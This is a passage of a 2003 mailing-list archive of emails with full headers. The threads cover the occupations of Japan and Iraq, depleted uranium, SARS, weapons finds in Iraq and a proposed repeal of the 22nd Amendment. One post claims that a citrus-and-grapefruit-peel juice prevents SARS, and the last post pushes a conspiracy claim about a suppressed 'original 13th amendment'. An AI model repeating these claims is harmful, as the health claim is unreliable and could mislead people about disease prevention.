as I know, and no professional | classes. | | There was no looting or disorder in Japan, and not a single incident of | violence against American troops for the first few years, as far as I know. | In the hours before the emperor broadcast the surrender announcement some | extremist militants took over the Imperial palace and tried to overthrow | the government and prevent the surrender, but they were quickly overcome. | In Iraq there is apparently a manhunt under way for criminals and | government officials. In Japan nearly every designated war criminal or | person the US wished to interview turned himself in as soon as the arrest | warrant was issued. | | Intense planning for the Japanese occupation began in 1943. Most of it was | based upon the New Deal and reforms that the Japanese liberals have been | promoting for many years, in education, literacy, land reform, economics | and much else. The people who designed the US occupation program were | intimately familiar with Japanese conditions and good friends with Japanese | labor leaders, economists and others. A detailed set of orders were issued | to MacArthur before he arrived in Japan, (JCS 1380/15), and as I said | previously MacArthur implemented this plan brilliantly. | | There has been virtually no planning for the US occupation of Afghanistan | or Iraq, supposedly because the entire program will be left up to the | "Iraqi people." If the Japanese occupation had been left up to the | "Japanese people" I think the people in power would have seized the | initiative and prevented any meaningful reform, and they would have | remilitarized and gone to war again within 10 or 20 years. It is | inconceivable they would have allowed women's suffrage, labor unions and | other liberal reforms. I base that on the Japanese government's first | proposed revision to the Constitution, which MacArthur threw out, and on | the views & actions of the unsavory right wing extremists who still haunt | Japanese politics. They still glorify the war in China, and deny the 1937 | Nanjing massacre took place. Every year they tried to rewrite the grade | school history textbooks, the way fundamentalist Americans try to gut | science and biology textbooks. (Fortunately they have been less successful | than the fundamentalists.) They still assassinate politicians occasionally | -- as recently as last year. When the mayor of Nagasaki suggested that the | emperor might have been partly responsible for the war in 1990, an | extremist him in an unsuccessful assassination attempt. There are about | 120,000 of them. See: | | http://www.1upinfo.com/country-guide-study/japan/japan246.html | | - Jed | | From vortexb-l-request@eskimo.com Thu Apr 17 13:00:20 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id MAA01682; Thu, 17 Apr 2003 12:52:12 -0700 Resent-Date: Thu, 17 Apr 2003 12:52:12 -0700 Message-Id: <5.2.0.9.2.20030417151022.0266bae8@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Thu, 17 Apr 2003 15:11:28 -0400 To: vortexB-L@eskimo.com From: Jed Rothwell Subject: RE: Depleted Uranium redux In-Reply-To: <000301c30513$203bbfd0$980e10ac@charris> References: <01d201c3050b$26245400$1202a8c0@WorkGroup> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"6-TmI2.0.VP.hNmd-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1670 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 145 Cliff Harris wrote: >What I've been wondering (and never seen addressed) is the incidence of >health problems in the factories where they manufacture the DU shells >and/or their tips. You would think that these people would experience any >ill effects to a severe extent since they are in close contact with DU for >hours every day. I doubt it. In modern U.S. factories workers are well protected against long-term exposure to toxic chemicals. - Jed From vortexb-l-request@eskimo.com Thu Apr 17 13:31:08 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id NAA26264; Thu, 17 Apr 2003 13:27:35 -0700 Resent-Date: Thu, 17 Apr 2003 13:27:35 -0700 Message-ID: <3E9F0EAA.FD8EB9C2@verisoft.com.tr> Date: Thu, 17 Apr 2003 23:29:30 +0300 From: hamdix X-Mailer: Mozilla 4.78 [en] (Win98; U) MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Depleted Uranium redux References: <000301c30513$203bbfd0$980e10ac@charris> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"SOfv-.0.HQ6.tumd-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1671 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 146 Cliff Harris wrote: > > ********************************************************************** > This email and any files transmitted with it are confidential and > intended solely for the use of the individual or entity to whom they > are addressed. If you have received this email in error please notify > MIS@Amano.com > > This footnote also confirms that this email message has been swept > for the presence of computer viruses. > > ********************************************************************** If this is confidential, why it is in a public forum? Could MIS@Amano.com fix it? From vortexb-l-request@eskimo.com Thu Apr 17 15:33:30 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id PAA10022; Thu, 17 Apr 2003 15:31:06 -0700 Resent-Date: Thu, 17 Apr 2003 15:31:06 -0700 From: Robin van Spaandonk To: Subject: Re: Depleted Uranium redux Date: Fri, 18 Apr 2003 08:30:26 +1000 Organization: Improving Message-ID: References: <01d201c3050b$26245400$1202a8c0@WorkGroup> <000301c30513$203bbfd0$980e10ac@charris> In-Reply-To: <000301c30513$203bbfd0$980e10ac@charris> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id PAA09981 Resent-Message-ID: <"FhVAx3.0.WS2.giod-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1673 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 147 In reply to Cliff Harris's message of Thu, 17 Apr 2003 11:56:58 -0700: Hi, When U238 undergoes natural radioactive decay, it produces an alpha particle. Alpha particles are positively charged, so when they are ejected and pass through surrounding atoms they interact strongly with the negatively charged electrons, tearing electrons loose from the atoms they are attached to. This costs the alpha particle energy, and slows it down. The net result is that alpha particles can only travel extremely short distances through solid matter (on the order of a few microns). The point of this explanation is to explain the vast difference in radioactivity between solid U238 (as encountered during the manufacturing process), and that of micron sized oxide particles produced when the shell is used, and the uranium burns in air. In the original solid *only* those alpha particle which result from *surface* atoms decaying are detectable (and hence dangerous). This surface layer is only a few microns thick. *None* of the alpha particles generated inside the object deeper than a few microns even gets to the surface. Now consider a rod of U238, about 1 ft long, and 2 inches in diameter. (My guess as to the size that might be found in a shell). The surface layer is about 10 microns thick. That means that the volume of the surface layer is only about 1/1000 part of the entire volume, so only 1/1000 of the alpha particles generated within the rod can actually escape, and in fact half of those will go into the rod, and not out into the air. When the shell is used, the heat ignites the uranium, and it burns, producing a smoke of very tiny oxide particles, many of them smaller than 10 microns. Because they are so small, most of the alpha particles generated within the particles can escape into the air. IOW the measurable (and hence dangerous) radioactivity just went up 1000 fold. This is why the metal is reasonably safe to work with, provided no burning takes place during the manufacturing process, but far more dangerous once the shell has been used in battle. >What I've been wondering (and never seen addressed) is the incidence of >health problems in the factories where they manufacture the DU shells and/or >their tips. You would think that these people would experience any ill >effects to a severe extent since they are in close contact with DU for hours >every day. > >Even if they don't actually come in physical contact with the DU, there >would bound to be DU particles all over the place from the machinery that >does the transporting of the DU, forming of the DU and assembly of the >shells. [snip] Regards, R. van Spaandonk When you are counting the dead, remember who voted for the man that made it all possible. From vortexb-l-request@eskimo.com Sat Apr 19 13:14:22 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id NAA20548; Sat, 19 Apr 2003 13:10:33 -0700 Resent-Date: Sat, 19 Apr 2003 13:10:33 -0700 Date: Sat, 19 Apr 2003 13:10:18 -0700 (PDT) From: The Science Club To: vortexb-l@eskimo.com Subject: another test Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: by amavisd-new Resent-Message-ID: <"4J8Nl2.0._05.vqQe-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1676 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 148 is vortexb sending duplicates? From vortexb-l-request@eskimo.com Thu Apr 17 13:01:17 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id MAA01415; Thu, 17 Apr 2003 12:52:01 -0700 Resent-Date: Thu, 17 Apr 2003 12:52:01 -0700 Message-Id: <5.2.0.9.2.20030417151223.02673650@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Thu, 17 Apr 2003 15:47:44 -0400 To: vortexb-l@eskimo.com From: Jed Rothwell Subject: Re: Comparison of the occupation of Japan, Afghanistan and Iraq In-Reply-To: <020f01c30513$9968b700$1202a8c0@WorkGroup> References: <5.2.0.9.2.20030416172211.02726e50@pop.mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"0O8IP.0.qL.WNmd-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1669 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 149 Dave N. wrote: >As far as Iraq is concerned, one huge thing you're leaving out that will >make a rapid shift to democracy easily possible is that Iraq is much more >modern than Afghanistan and the people will therefore implement >communications technology much more rapidly. That's true, although communications technology is as likely to bring them Islamic extremism as western democracy. >This will cause an influx of new ideas, which will be key to implementing >democracy. That would depend on which ideas flux in. >This is why Iran is currently teetering on the brink of a popular >democratic revolution . . . Iran was not invaded by the U.S! They are not traumatized by us. A large fraction of the population in Iraq supported Hussein, including all influential and wealthy people, obviously. They would not be wealthy -- or alive -- any more if they did not. A successful dictatorship usually has the support of the majority. Most intelligent, hard working Germans were Nazis during WWII, and all but a handful of people in Japan supported the militarists before August 1945. When Stalin died, millions of Russians were beside themselves with grief. The ruling class in Iraq is not anxious to embrace democracy. If the U.S. leaves in 6 months, as planned, they may launch a counter-revolution and take over again a few weeks later. We cannot possibly round them all up, or indoctrinate them in a few months. The UN is weak and unable to take on such tasks. The U.S. occupation of Japan lasted 7 years, it started off with the majority of the people supporting it (after a few months), but after all that, there was still a large group of unreformed extremists who tried to reinstate militarism. If the U.S. manages to pull off long term reforms after an invasion and only 6 months of occupation, it will be an incredible and unprecedented event. >are allowed to train there. Also, unless the UN is engaged in a veritable >orgy of lying and disinformation, you are again totally wrong in stating >that "Women campaigning for suffrage have nearly all been murdered or >driven out of the country." The UN is well known for engaging in lying and disinformation. It is hardly likely to advertise its failures. The article you cited describes a media event in Kabul, staged for western media. Most people live in the country where women are still slaves for all intents and purposes. See, for example: http://www.hrw.org/reports/2002/afghnwmn1202/index.htm#TopOfPage >You also fail to provide any evidence that the US did not plan extensively >for a post-war Iraq. Sorry, I can't take your words on their face anymore. Look it up yourself. Try these Google search terms: Bush postwar planning garner. Countless news articles and web sites, both U.S. and foreign say, "President Bush set up the interagency, postwar planning team in January [2003] . . . " Example: http://www.news8.net/news/stories/0303/78207.html They also report there was virtually no planning before that. This is common knowledge. >And if you can provide any evidence that fundamentalist Christians have >managed to get US science and biology textbooks 'gutted' (I guess to >present the creationist viewpoint?) Many high school biology textbooks hardly mention evolution. Here is an article from the thug's point of view: http://www.family.org/cforum/citizenmag/coverstory/a0024918.html - Jed From vortexb-l-request@eskimo.com Sat Apr 19 14:06:10 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id OAA07789; Sat, 19 Apr 2003 14:03:48 -0700 Resent-Date: Sat, 19 Apr 2003 14:03:48 -0700 Message-ID: <3EA1BA01.D281935B@verisoft.com.tr> Date: Sun, 20 Apr 2003 00:05:05 +0300 From: hamdix X-Mailer: Mozilla 4.78 [en] (Win98; U) MIME-Version: 1.0 To: VortexB Subject: SARS can spread through sewage systems Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"CEPiy.0.ev1.qcRe-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1677 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 150 This is important. It may be better to send to vortex. See http://www.wired.com/news/print/0,1294,58534,00.html If you have a faulty sewage plumbing in your building that allow sewage air escape to your apartment, it is time to fix it. Sewage system become a distribution channel of SARS. It may possible that virus travel long distance in sewage system and then airborne to reach remote victims. Regards, hamdi ucar From vortexb-l-request@eskimo.com Sat Apr 19 15:34:17 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id PAA05743; Sat, 19 Apr 2003 15:31:57 -0700 Resent-Date: Sat, 19 Apr 2003 15:31:57 -0700 From: cara@edmc.net Message-ID: <3EA1CEBF.EDFF268B@edmc.net> Date: Sat, 19 Apr 2003 16:33:36 -0600 X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: SARS prevention References: <3EA1BA01.D281935B@verisoft.com.tr> <3EA1C9B7.3B3C1652@edmc.net> <200304192211.PAA30559@mx1.eskimo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS 0.3.12pre8 Resent-Message-ID: <"txxNZ3.0.bP1.TvSe-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1678 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 151 > While it won't come out in medical texts or in the news media, you can make a > concoction and drink 3 juice glasses a day to prevent SARS. > Juice 8 oranges, 2 grapefruit, one pinapple and include two turns around the > grapefruit skin with a potato peeler. > The juices can be purchased as bottled or canned, but the grapefruit skin should be > fresh and well cleaned. It IS the important factor. Add sugar if its bitter. > cara > > hamdix wrote: > > > This is important. It may be better to send to vortex. > > > > See http://www.wired.com/news/print/0,1294,58534,00.html > > > > If you have a faulty sewage plumbing in your building that allow sewage > > air escape to your apartment, it is time to fix it. Sewage system become > > a distribution channel of SARS. It may possible that virus travel long distance > > in sewage system and then airborne to reach remote victims. > > > > Regards, > > > > hamdi ucar From vortexb-l-request@eskimo.com Mon Apr 21 08:05:45 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id IAA09294; Mon, 21 Apr 2003 08:04:21 -0700 Resent-Date: Mon, 21 Apr 2003 08:04:21 -0700 Message-Id: <5.2.0.9.2.20030421110131.028022e8@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Mon, 21 Apr 2003 11:04:21 -0400 To: vortexb-l@eskimo.com, VortexB From: Jed Rothwell Subject: Re: SARS can spread through sewage systems In-Reply-To: <3EA1BA01.D281935B@verisoft.com.tr> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"ohEfs3.0.8H2.rX0f-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1679 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 152 hamdix wrote: >If you have a faulty sewage plumbing in your building that allow sewage >air escape to your apartment, it is time to fix it. Sewage system become >a distribution channel of SARS. This is good advice. The largest outbreak in Hong Kong was probably caused by sewage. According to what I have read, houses and buildings that meet the building codes in the US and Europe are safe, but it is still a good idea to check for broken pipes and leaks. - Jed From vortexb-l-request@eskimo.com Mon Apr 21 11:52:51 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id LAA18886; Mon, 21 Apr 2003 11:49:06 -0700 Resent-Date: Mon, 21 Apr 2003 11:49:06 -0700 Message-ID: <003e01c30833$b247a560$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030421110131.028022e8@pop.mindspring.com> Subject: Banned weapons begin to emerge Date: Mon, 21 Apr 2003 14:16:40 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0034_01C30810.A0E88DC0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"2TcdQ1.0.-c4.Yq3f-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1680 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 153 This is a multi-part message in MIME format. ------=_NextPart_000_0034_01C30810.A0E88DC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Attention all you pro-Saddam types: "An American military team hunting for unconventional weapons in Iraq, the Mobile Exploitation Team Alpha, or MET Alpha, which found the scientist, declined to identify him, saying they feared he might be subject to reprisals. But they said that they considered him credible and that the material unearthed over the last three days at sites to which he led them had proved to be precursors for a toxic agent that is banned by chemical weapons treaties." Source: NY Times. http://story.news.yahoo.com/news?tmpl=story2&cid=68&ncid=68&e=3&u=/nyt/20030421/ts_nyt/illicit_a rms_kept_till_eve_of_war__an_iraqi_scientist_is_said_to_assert Now, before any of you fire off a hasty reply; I fully realize that while this is significant, it is a piddlingly small amount compared to what some of us expected and want to see come out of Iraq. However, there is no doubt there will be more as time goes on. This is just the beginning. The question is, how much is enough for you to admit you were wrong? Be honest! Dave! ------=_NextPart_000_0034_01C30810.A0E88DC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Attention all you pro-Saddam = types:
 
"An American military team hunting for=20 unconventional weapons in Iraq, the Mobile Exploitation Team Alpha, or = MET=20 Alpha, which found the scientist, declined to identify him, saying they = feared=20 he might be subject to reprisals. But they said that they considered him = credible and that the material unearthed over the last three = days at=20 sites to which he led them had proved to be precursors for a toxic agent = that is=20 banned by chemical weapons treaties."
 
Source:  NY Times.
http://story.news.yahoo.c= om/news?tmpl=3Dstory2&cid=3D68&ncid=3D68&e=3D3&u=3D/nyt/2= 0030421/ts_nyt/illicit_arms_kept_till_eve_of_war__an_iraqi_scientist_is_s= aid_to_assert
 
Now, before any of you fire off a hasty = reply; I=20 fully realize that while this is significant, it is a piddlingly small = amount=20 compared to what some of us expected and want to see come out of = Iraq. =20 However, there is no doubt there will = be more as=20 time goes on.  This is just the beginning.
 
The question is, how much is = enough for you to=20 admit you were wrong?
 
Be honest!
 
Dave!
 
------=_NextPart_000_0034_01C30810.A0E88DC0-- From vortexb-l-request@eskimo.com Mon Apr 21 15:26:30 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id PAA09744; Mon, 21 Apr 2003 15:18:43 -0700 Resent-Date: Mon, 21 Apr 2003 15:18:43 -0700 From: cara@freenet.edmonton.ab.ca Message-ID: <3EA47CA2.403D@freenet.edmonton.ab.ca> Date: Mon, 21 Apr 2003 16:20:02 -0700 Reply-To: cara@freenet.edmonton.ab.ca X-Mailer: Mozilla 3.04Gold (Win95; I; 16bit) MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Banned weapons begin to emerge References: <5.2.0.9.2.20030421110131.028022e8@pop.mindspring.com> <003e01c30833$b247a560$1202a8c0@WorkGroup> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS 0.3.12pre8 Resent-Message-ID: <"CFgFE2.0.4O2.2v6f-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1681 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 154 Why do you think anyone is "pro- Saddam"??? All this illegal action and pointless death and they STILL DIDN'T KILL HIM! Thats 3 Saddam, bin Laden, and Hitler! You just cant kill the real criminals, can you? Dave N. wrote: > > Attention all you pro-Saddam types: > > "An American military team hunting for unconventional weapons in Iraq, > the Mobile Exploitation Team Alpha, or MET Alpha, which found the > scientist, declined to identify him, saying they feared he might be > subject to reprisals. But they said that they considered him credible > and that the material unearthed over the last three days at sites to > which he led them had proved to be precursors for a toxic agent that > is banned by chemical weapons treaties." > > Source: NY Times. > http://story.news.yahoo.com/news?tmpl=story2&cid=68&ncid=68&e=3&u=/nyt/20030421/ts_nyt/illicit_arms_kept_till_eve_of_war__an_iraqi_scientist_is_said_to_assert > > Now, before any of you fire off a hasty reply; I fully realize that > while this is significant, it is a piddlingly small amount compared to > what some of us expected and want to see come out of Iraq. However, > there is no doubt there will be more as time goes on. This is just > the beginning. > > The question is, how much is enough for you to admit you were wrong? > > Be honest! > > Dave! > From vortexb-l-request@eskimo.com Thu Apr 24 03:53:35 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id DAA16116; Thu, 24 Apr 2003 03:51:54 -0700 Resent-Date: Thu, 24 Apr 2003 03:51:54 -0700 Message-ID: <0a3201c30a4f$6f582e50$bc8e3a41@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: Repeal of 22nd Amendment Date: Thu, 24 Apr 2003 03:50:14 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id DAA16091 Resent-Message-ID: <"L9mNQ2.0.gx3.A7yf-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1682 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 155 Repeal of 22nd Amendment removing the limitation on the number of terms an individual may serve as President April 2003. Www.globalresearch.ca The URL of this article is: http://globalresearch.ca/articles/HJC304A.html - ------------------------------------------------------------------------------- A resolution - H.J. Res. 11 - is pending that proposes to repeal the 22nd amendment of the U.S. Constitution, thereby removing the limitation on the number of terms an individual may serve as President. Below is the text of the draft Resolution. To consult the original go to http://thomas.loc.gov and enter H.J. Res. 11 into the bill number box. The resolution is now before the House Judiciary Committee. - ------------------------------------------------------------------------------- 108th CONGRESS 1st Session H. J. RES. 11 Proposing an amendment to the Constitution of the United States to repeal the twenty-second article of amendment, thereby removing the limitation on the number of terms an individual may serve as President. IN THE HOUSE OF REPRESENTATIVES January 7, 2003 Mr. SERRANO introduced the following joint resolution; which was referred to the Committee on the Judiciary - ------------------------------------------------------------------------------- JOINT RESOLUTION Proposing an amendment to the Constitution of the United States to repeal the twenty-second article of amendment, thereby removing the limitation on the number of terms an individual may serve as President. Resolved by the Senate and House of Representatives of the United States of America in Congress assembled (two-thirds of each House concurring therein), That the following article is proposed as an amendment to the Constitution of the United States, which shall be valid to all intents and purposes as part of the Constitution when ratified by the legislatures of three-fourths of the several States within seven years after the date of its submission for ratification: `Article-- `The twenty-second article of amendment to the Constitution of the United States is hereby repealed.'. - ------------------------------------------------------------------------------- The sponsor is Rep. Jose E. Serrano (D-NY) http://www.house.gov/serrano/profiles.htm Serrano is the ranking member of the Appropriations subcommittee on Commerce, Justice, State and the Judiciary. - ------------------------------------------------------------------------------- Copyright US Congress 2003. For fair use only/ pour usage équitable seulement . From vortexb-l-request@eskimo.com Fri Apr 25 16:45:54 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id QAA30398; Fri, 25 Apr 2003 16:43:44 -0700 Resent-Date: Fri, 25 Apr 2003 16:43:44 -0700 From: Robin van Spaandonk To: vortexb-l@eskimo.com Subject: Re: Repeal of 22nd Amendment Date: Sat, 26 Apr 2003 09:43:06 +1000 Organization: Improving Message-ID: References: <0a3201c30a4f$6f582e50$bc8e3a41@annamort> In-Reply-To: <0a3201c30a4f$6f582e50$bc8e3a41@annamort> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id QAA30330 Resent-Message-ID: <"sl0Uf2.0.vQ7.mWSg-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1683 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 156 In reply to Anna M*'s message of Thu, 24 Apr 2003 03:50:14 -0700: Hi, [snip] >Repeal of 22nd Amendment removing the limitation on the number of terms an individual may serve as President >April 2003. Www.globalresearch.ca >The URL of this article is: http://globalresearch.ca/articles/HJC304A.html [snip] The next link in the chain to Imperator. Regards, R. van Spaandonk When you are counting the dead, remember who voted for the man that made it all possible. From vortexb-l-request@eskimo.com Fri Apr 25 18:19:36 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id SAA12207; Fri, 25 Apr 2003 18:18:24 -0700 Resent-Date: Fri, 25 Apr 2003 18:18:24 -0700 Mime-Version: 1.0 X-Sender: rick@mail.highsurf.com Message-Id: In-Reply-To: References: <0a3201c30a4f$6f582e50$bc8e3a41@annamort> Date: Fri, 25 Apr 2003 15:18:09 -1000 To: vortexb-l@eskimo.com From: Rick Monteverde Subject: Re: Repeal of 22nd Amendment Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id SAA12143 Resent-Message-ID: <"VNgkd2.0.b-2.WvTg-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1684 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 157 Oh, drama drama drama. It's funny how term limits are so popular in the US when your own guys *aren't* in power - having no term limits is "the next link in the chain to Imperator." Then as soon as they get in, ooh, wait, term limits are a bad idea, it would restrict democracy and prevent the people from voting for the folks they *really* want, etc. What goes around comes around. ;-) - RM > >The next link in the chain to Imperator. > > >Regards, > >R. van Spaandonk > >When you are counting the dead, remember who voted >for the man that made it all possible. From vortexb-l-request@eskimo.com Fri Apr 25 18:34:40 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id SAA20201; Fri, 25 Apr 2003 18:33:33 -0700 Resent-Date: Fri, 25 Apr 2003 18:33:33 -0700 Message-ID: <3EA9E192.1010307@ghiocel.com> Date: Fri, 25 Apr 2003 18:32:02 -0700 From: Dan Ghiocel Reply-To: dan@ghiocel.com User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 X-Accept-Language: en-us, en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: 22nd Amendment Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <"vRgUr2.0.Px4.i7Ug-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1685 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 158 I do not think it is likely to be repealed. It was voted for a good reason after the country learned the hard way why is needed. It is also unlikely that there are many out there who like where is this country going lately , tough they are learning to keep their mouth closed! Dan G. From vortexb-l-request@eskimo.com Fri Apr 25 19:05:39 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id TAA07069; Fri, 25 Apr 2003 19:04:27 -0700 Resent-Date: Fri, 25 Apr 2003 19:04:27 -0700 From: cara@edmc.net Message-ID: <3EA9E989.7C88847B@edmc.net> Date: Fri, 25 Apr 2003 20:06:01 -0600 X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Repeal of 22nd Amendment References: <0a3201c30a4f$6f582e50$bc8e3a41@annamort> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS 0.3.12pre8 Resent-Message-ID: <"1wxgX1.0.Fk1.haUg-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1686 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 159 Is this the place where we can talk about this stuff? I hope so. The point if the primary amendments was to refine the constitution and keep out the rif raf. The USA was to be a place where old world corruption wasn't allowed. Everybody was supposed to be equal inder the law. Presidents were to be voted in from the population andwere supposed to be subject to the same laws as everyone else. A limit on terms was to give everyone a chance, and is a good amendment. But..the original 13th amendment got sidetracked in the 1860s. It was ratified by the correct number of states, but not until after the war, and not in the usual way. Since the White House was burned and a lot of records with it, People were told that the 13th amendment wasn't ratified. or that it was withdrawn. Neither are correct. The original 13th amendment gave teeth to the proposal that no-one with title of royalty could be a citizen of the US. Title of Royalty comes with an exclusive right to privilege. The right NOT to be prosecuted. The specific titles to be concerned about are those within the Banking institutions and the "Bar" (legal associations) The International Bar association is an English institution. Set up by the English Monarchy. The titles given are of the shield carrier of the Knight. The Knight is a "Squire" The shield bearer is an "Esquire". Lawyers of the International 